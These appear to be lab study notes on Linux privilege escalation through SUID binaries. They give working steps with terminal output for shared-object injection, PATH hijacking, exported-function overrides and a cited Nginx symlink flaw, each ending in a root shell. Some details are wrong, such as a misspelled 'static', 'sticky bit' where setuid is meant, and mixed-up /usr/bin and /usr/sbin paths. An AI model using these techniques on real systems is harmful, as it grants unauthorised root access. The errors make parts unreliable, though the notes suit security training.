For basic info on how to find files with SUID or SGID is set, look [[Privilege Escalation#^257fb3|here]].
## Shared Object Injection
Another method we can exploit SUID files is by performing shared object injections. First we need to identify files that rely on shared objects for execution. We can do this using the `strace` tool.
```bash
TCM@debian:~$ find / -perm -04000 -type f -ls 2>/dev/null
809081 40 -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
810173 36 -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
809080 44 -rwsr-xr-x 1 root root 43280 Jun 18 2020 /usr/bin/passwd
809078 64 -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
809077 40 -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
816078 12 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
816762 8 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
816764 8 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
815723 948 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
832517 8 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
832743 212 -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
812623 12 -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
473324 36 -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
473323 36 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
473292 84 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
473312 36 -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
473290 60 -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
465223 100 -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
```
We can see that there are three files with both SUID and SGID set. Let's have a look at the `/usr/local/bin/suid-so` file first. When we execute the file, we get the following output.
```bash
TCM@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
[=====================================================================>] 99 %
Done.
```
Since something is happening when the file ie being run, we can use `strace` to trace whats happening when it run. Since most of the output is printed to `stderr`, we need to direct it to `stdout` via `2>&1` for further analysis.
```bash
TCM@debian:~$ strace /usr/local/bin/suid-so 2>&1
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
TCM@debian:~$ strace /usr/local/bin/suid-so 2>/dev/null| grep directory
TCM@debian:~$ strace /usr/local/bin/suid-so
execve("/usr/local/bin/suid-so", ["/usr/local/bin/suid-so"], [/* 17 vars */]) = 0
brk(0) = 0x713000
fcntl(0, F_GETFD) = 0
fcntl(1, F_GETFD) = 0
fcntl(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc253e19000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=13345, ...}) = 0
mmap(NULL, 13345, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc253e15000
close(3) = 0
.
.
```
We see there are errors saying `No such file or directory`, which is what we are after. We can use `grep` to filter the output and see which files are accessed when the binary is run.
```bash
TCM@debian:~$ strace /usr/local/bin/suid-so 2>&1| grep -i -E "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
```
The `-i` ignores the case and `-E` enables extended regex use so we can use the `|` operator for the `or` functionality.
The `/home/user/.config/libcalc.so` stands out from the rest since it seems to be a user own file. Since we can write to the `/home/user` directory, we can overwrite this file and replace it with a piece of code we want to be executed.
```C
#include <stdio.h>
#include <stdlib.h>
ststic void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Next we need to compile it as a shared object using `GCC`.
```bash
TCM@debian:~/.config$ gcc -shared -fPIC -o libcalc.so libcalc.c
```
Finally, when we execute the initial program we get a console as root.
```bash
TCM@debian:~/.config$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=1000(TCM) gid=1000(user) euid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# whoami
root
```
## Binary Symlinks
We can exploit a tool that uses a SUID binary to gain root access by overwriting a file that is used by the tool.
For example, `Nginx < 1.6.2` has a vulnerability where the `/var/log/nginx/` log directory is owned by `www-data`. Since logging is handled by the master process that runs as `root`, we can manipulate the logging process if we have compromised the `www-data` user.
We can remove the existing log file and create a symlink to the location that points to a shell code. When an error occurs and the master process tried to write it to the error log, instead it executed the command in a shell with the SUID set. Enabling the attacker to gain root access. For more info read [this](https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html).
## Environmental Variables
Another way we can exploit SUID files is by manipulating the `PATH` variable. From our initial search, we found out there is file named `/usr/local/bin/suid-env` that has SUID set.
### Relative Path
If we perform a `strings` look up on it, we get the following output.
```bash
TCM@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
```
It seems like the `service` command is called within the binary. If we can override which file is run when the `service` command is invoked, we can exploit this binary.
Since the absolute path is not given, we can manipulate the `$PATH` env variable to point `service` to one of our own files as follow.
```bash
TCM@debian:~$ echo 'int main() {setgid(0); setuid(0); system("/bin/bash");}' > /tmp/service.c
TCM@debian:~$ cat /tmp/service.c
int main() {setgid(0); setuid(0); system("/bin/bash");}
TCM@debian:~$ gcc -o /tmp/service /tmp/service.c
TCM@debian:~$ export PATH=/tmp:$PATH
TCM@debian:~$ $PATH
bash: /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin: No such file or directory
```
Now, the first place `service` is searched for is the `/tmp` directory and we have written a simple script named `service` to open up `bash`. Now we simply need to execute the `/usr/local/bin/suid-env` binary.
```bash
TCM@debian:~$ id
uid=1000(TCM) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
TCM@debian:~$ /usr/local/bin/suid-env
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```
### Absolute Path
Let's look at another binary that uses env variables.
```bash
TCM@debian:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start
TCM@debian:~$ ls -ld /usr/sbin/
drwxr-xr-x 2 root root 4096 May 14 2017 /usr/sbin/
```
Unlike the previous binary, this calls the function by its absolute path. Since only `root` has write privileges to `/usr/bin`, we cannot edit the `service` binary as well.
However, there is another way to manipulate the env variables by defining a function. We will overwrite `/usr/bin/service` with a custom function that will create a copy of `bash` with the sticky bit set and execute it.
```bash
TCM@debian:~$ function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
TCM@debian:~$ export -f /usr/sbin/service
root@debian:~# whoami
root
```
Since we are creating a subshell when the binary is executed, we need to export the function using the `export -f` command.